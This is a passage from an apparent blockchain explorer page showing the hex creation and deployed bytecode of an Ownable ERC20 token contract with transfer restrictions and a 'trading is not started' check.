610d1e565b6001905092915050565b610858610852610d16565b826111eb565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d261116d565b6108dc60006113c4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461091690611b1e565b80601f016020809104026020016040519081016040528092919081815260200182805461094290611b1e565b801561098f5780601f106109645761010080835404028352916020019161098f565b820191906000526020600020905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600360006109fe610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab290611d85565b60405180910390fd5b610acf610ac6610d16565b85858403610d1e565b600191505092915050565b6000610aee610ae7610d16565b8484610ee9565b6001905092915050565b610b0061116d565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610bc761116d565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a61116d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc91906118c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115491906118c2565b60405180910390a36111678484846115b7565b50505050565b611175610d16565b73ffffffffffffffffffffffffffffffffffffffff166111936115bc565b73ffffffffffffffffffffffffffffffffffffffff16146111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e09061215d565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611252906121ef565b60405180910390fd5b61126782600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e590612281565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546113469190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ab91906118c2565b60405180910390a36113bf836000846115b7565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b1576115026108de565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e6108de565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ec826116c1565b9050919050565b6116fc816116e1565b811461170757600080fd5b50565b600081359050611719816116f3565b92915050565b600060208284031215611735576117346116b7565b5b60006117438482850161170a565b91505092915050565b60008115159050919050565b6117618161174c565b82525050565b600060208201905061177c6000830184611758565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117bc5780820151818401526020810190506117a1565b838111156117cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006117ed82611782565b6117f7818561178d565b935061180781856020860161179e565b611810816117d1565b840191505092915050565b6000602082019050818103600083015261183581846117e2565b905092915050565b6000819050919050565b6118508161183d565b811461185b57600080fd5b50565b60008135905061186d81611847565b92915050565b6000806040838503121561188a576118896116b7565b5b60006118988582860161170a565b92505060206118a98582860161185e565b9150509250929050565b6118bc8161183d565b82525050565b60006020820190506118d760008301846118b3565b92915050565b6000806000606084860312156118f6576118f56116b7565b5b60006119048682870161170a565b93505060206119158682870161170a565b92505060406119268682870161185e565b9150509250925092565b600060ff82169050919050565b61194681611930565b82525050565b6000602082019050611961600083018461193d565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261198c5761198b611967565b5b8235905067ffffffffffffffff8111156119a9576119a861196c565b5b6020830191508360208202830111156119c5576119c4611971565b5b9250929050565b6119d58161174c565b81146119e057600080fd5b50565b6000813590506119f2816119cc565b92915050565b600080600060408486031215611a1157611a106116b7565b5b600084013567ffffffffffffffff811115611a2f57611a2e6116bc565b5b611a3b86828701611976565b93509350506020611a4e868287016119e3565b9150509250925092565b600060208284031215611a6e57611a6d6116b7565b5b6000611a7c8482850161185e565b91505092915050565b611a8e816116e1565b82525050565b6000602082019050611aa96000830184611a85565b92915050565b60008060408385031215611ac657611ac56116b7565b5b6000611ad48582860161170a565b9250506020611ae58582860161170a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac60288361178d565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c8261183d565b9150611c278361183d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c728261183d565b9150611c7d8361183d565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611cd58261183d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d0857611d07611be2565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d6f60258361178d565b9150611d7a82611d13565b604082019050919050565b60006020820190508181036000830152611d9e81611d62565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e0160268361178d565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e9360248361178d565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2560228361178d565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb760258361178d565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061204960238361178d565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db60268361178d565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061214760208361178d565b915061215282612111565b602082019050919050565b600060208201905081810360008301526121768161213a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d960218361178d565b91506121e48261217d565b604082019050919050565b60006020820190508181036000830152612208816121cc565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061226b60228361178d565b91506122768261220f565b604082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d760168361178d565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea2646970667358221220c668a022595670b14fe996628e85ca9973be5c68d6e342f2e66c177254b1106d64736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb146103b6578063c34b2e07146103e6578063dae39f9214610402578063db5d779314610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806370a08231146102e0578063715018a6146103105780638da5cb5b1461031a57806395d89b41146103385780639ab24eb014610356578063a457c2d7146103865761014d565b80632b112e49116101155780632b112e491461021e578063313ce5671461023c578063338d46691461025a578063395093511461027657806342966c68146102a657806349bd5a5e146102c25761014d565b80630283852d1461015257806306fdde0314610182578063095ea7b3146101a057806318160ddd146101d057806323b872dd146101ee575b600080fd5b61016c6004803603810190610167919061171f565b61049a565b6040516101799190611767565b60405180910390f35b61018a6104ba565b604051610197919061181b565b60405180910390f35b6101ba60048036038101906101b59190611873565b61054c565b6040516101c79190611767565b60405180910390f35b6101d861056a565b6040516101e591906118c2565b60405180910390f35b610208600480360381019061020391906118dd565b610574565b6040516102159190611767565b60405180910390f35b61022661066c565b60405161023391906118c2565b60405180910390f35b6102446106e5565b604051610251919061194c565b60405180910390f35b610274600480360381019061026f91906119f8565b6106ee565b005b610290600480360381019061028b9190611873565b61079b565b60405161029d9190611767565b60405180910390f35b6102c060048036038101906102bb9190611a58565b610847565b005b6102ca61085b565b6040516102d79190611a94565b60405180910390f35b6102fa60048036038101906102f5919061171f565b610881565b60405161030791906118c2565b60405180910390f35b6103186108ca565b005b6103226108de565b60405161032f9190611a94565b60405180910390f35b610340610907565b60405161034d919061181b565b60405180910390f35b610370600480360381019061036b919061171f565b610999565b60405161037d9190611767565b60405180910390f35b6103a0600480360381019061039b9190611873565b6109ef565b6040516103ad9190611767565b60405180910390f35b6103d060048036038101906103cb9190611873565b610ada565b6040516103dd9190611767565b60405180910390f35b61040060048036038101906103fb919061171f565b610af8565b005b61041c6004803603810190610417919061171f565b610b9f565b6040516104299190611767565b60405180910390f35b61044c6004803603810190610447919061171f565b610bbf565b005b61046860048036038101906104639190611aaf565b610c0b565b60405161047591906118c2565b60405180910390f35b6104986004803603810190610493919061171f565b610c92565b005b60076020528060005260406000206000915054906101000a900460ff1681565b6060600580546104c990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f590611b1e565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b5050505050905090565b6000610560610559610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610581848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cc610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561064c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064390611bc2565b60405180910390fd5b61066085610658610d16565b858403610d1e565b60019150509392505050565b6000610699600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610881565b6106c4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610881565b6106ce9190611c11565b6106d661056a565b6106e09190611c67565b905090565b60006009905090565b6106f661116d565b60005b8383905081101561079557816007600086868581811061071c5761071b611c9b565b5b9050602002016020810190610731919061171f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061078d90611cca565b9150506106f9565b50505050565b600061083d6107a8610d16565b8484600360006107b6610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108389190611c11565b610d1e565b6001905092915050565b610858610852610d16565b826111eb565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108d261116d565b6108dc60006113c4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461091690611b1e565b80601f016020809104026020016040519081016040528092919081815260200182805461094290611b1e565b801561098f5780601f106109645761010080835404028352916020019161098f565b820191906000526020600020905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600360006109fe610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab290611d85565b60405180910390fd5b610acf610ac6610d16565b85858403610d1e565b600191505092915050565b6000610aee610ae7610d16565b8484610ee9565b6001905092915050565b610b0061116d565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610bc761116d565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c9a61116d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc91906118c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115491906118c2565b60405180910390a36111678484846115b7565b50505050565b611175610d16565b73ffffffffffffffffffffffffffffffffffffffff166111936115bc565b73ffffffffffffffffffffffffffffffffffffffff16146111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e09061215d565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611252906121ef565b60405180910390fd5b61126782600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e590612281565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546113469190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ab91906118c2565b60405180910390a36113bf836000846115b7565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b1576115026108de565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e6108de565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ec826116c1565b9050919050565b6116fc816116e1565b811461170757600080fd5b50565b600081359050611719816116f3565b92915050565b600060208284031215611735576117346116b7565b5b60006117438482850161170a565b91505092915050565b60008115159050919050565b6117618161174c565b82525050565b600060208201905061177c6000830184611758565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117bc5780820151818401526020810190506117a1565b838111156117cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006117ed82611782565b6117f7818561178d565b935061180781856020860161179e565b611810816117d1565b840191505092915050565b6000602082019050818103600083015261183581846117e2565b905092915050565b6000819050919050565b6118508161183d565b811461185b57600080fd5b50565b60008135905061186d81611847565b92915050565b6000806040838503121561188a576118896116b7565b5b60006118988582860161170a565b92505060206118a98582860161185e565b9150509250929050565b6118bc8161183d565b82525050565b60006020820190506118d760008301846118b3565b92915050565b6000806000606084860312156118f6576118f56116b7565b5b60006119048682870161170a565b93505060206119158682870161170a565b92505060406119268682870161185e565b9150509250925092565b600060ff82169050919050565b61194681611930565b82525050565b6000602082019050611961600083018461193d565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261198c5761198b611967565b5b8235905067ffffffffffffffff8111156119a9576119a861196c565b5b6020830191508360208202830111156119c5576119c4611971565b5b9250929050565b6119d58161174c565b81146119e057600080fd5b50565b6000813590506119f2816119cc565b92915050565b600080600060408486031215611a1157611a106116b7565b5b600084013567ffffffffffffffff811115611a2f57611a2e6116bc565b5b611a3b86828701611976565b93509350506020611a4e868287016119e3565b9150509250925092565b600060208284031215611a6e57611a6d6116b7565b5b6000611a7c8482850161185e565b91505092915050565b611a8e816116e1565b82525050565b6000602082019050611aa96000830184611a85565b92915050565b60008060408385031215611ac657611ac56116b7565b5b6000611ad48582860161170a565b9250506020611ae58582860161170a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac60288361178d565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c8261183d565b9150611c278361183d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c728261183d565b9150611c7d8361183d565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611cd58261183d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d0857611d07611be2565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611d6f60258361178d565b9150611d7a82611d13565b604082019050919050565b60006020820190508181036000830152611d9e81611d62565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e0160268361178d565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e9360248361178d565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2560228361178d565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb760258361178d565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061204960238361178d565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db60268361178d565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061214760208361178d565b915061215282612111565b602082019050919050565b600060208201905081810360008301526121768161213a565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d960218361178d565b91506121e48261217d565b604082019050919050565b60006020820190508181036000830152612208816121cc565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061226b60228361178d565b91506122768261220f565b604082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d760168361178d565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea2646970667358221220c668a022595670b14fe996628e85ca9973be5c68d6e342f2e66c177254b1106d64736f6c63430008090033

Deployed Bytecode Sourcemap

